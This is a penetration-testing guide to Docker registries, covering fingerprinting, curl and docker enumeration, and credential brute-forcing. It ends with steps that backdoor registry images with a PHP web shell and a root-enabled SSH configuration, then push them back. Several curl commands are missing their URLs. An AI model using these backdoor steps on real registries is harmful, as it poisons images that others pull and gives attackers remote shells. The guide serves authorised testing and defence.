5000 - Pentesting Docker Registry

Basic Information

Info from here.

A Docker registry is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags. A Docker registry is organized into Docker repositories , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable).

By default, the Docker engine interacts with DockerHub , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called Docker Trusted Registry . There are other public registries available online.

To pull an image from an on-premises registry, you could run a command similar to:

docker pull my-registry:9000/foo/bar:2.1

where you pull the version of foo/bar image with tag 2.1 from our on-premise registry located at my-registry domain, port 9000 . If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally:

docker pull foo/bar

Default port: 5000

5000/tcp open http Docker Registry (API: 2.0)


The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it. Some fingerprints:

  • If you access / nothing is returned in the response

  • If you access /v2/ then {} is returned

  • If you access /v2/_catalog you may obtain:

    • {"repositories":["alpine","ubuntu"]}

    • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}



Docker registry may be configured to use HTTP or HTTPS. So the first thing you may need to do is find which one is being configured:

curl -s
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.


Docker registry may also be configured to require authentication:

curl -k
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required

If the Docker Registry is requiring authentication you can try to brute force it using this. If you find valid credentials you will need to use them to enumerate the registry, in curl you can use them like this:

curl -k -u username:password

Enumeration using curl

Once you obtained access to the docker registry here are some commands you can use to enumerate it:

#List repositories
curl -s
#Get tags of a repository
curl -s
#Get manifests
curl -s
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
"history": [
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
"signatures": [
"header": {
"jwk": {
"crv": "P-256",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
"alg": "ES256"
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
#Download one of the previously listed blobs
curl --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

Note that when you download and decompress the blobs files and folders will appear in the current directory. If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.

Enumeration using docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull
#Check the commands used to create the layers of the image
docker history
#ed05bef01522 2 years ago ./ 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/ / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Backdooring WordPress image

In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it. Create the backdoor:

<?php echo shell_exec($_GET["cmd"]); ?>

Create a Dockerfile:

COPY shell.php /app/
RUN chmod 777 /app/shell.php

Create the new image, check it's created, and push it:

docker build -t . #Create
docker images
docker push registry:5000/wordpress #Push it

Backdooring SSH server image

Suppose that you found a Docker Registry with a SSH image and you want to backdoor it. Download the image and run it:

docker pull
docker run -d

Extract the sshd_config file from the SSH image:

docker cp 4c989242c714:/etc/ssh/sshd_config .

And modify it to set: PermitRootLogin yes

Create a Dockerfile like the following one:

COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

Create the new image, check it's created, and push it:

docker build -t . #Create
docker images
docker push registry:5000/sshd-docker-cli #Push it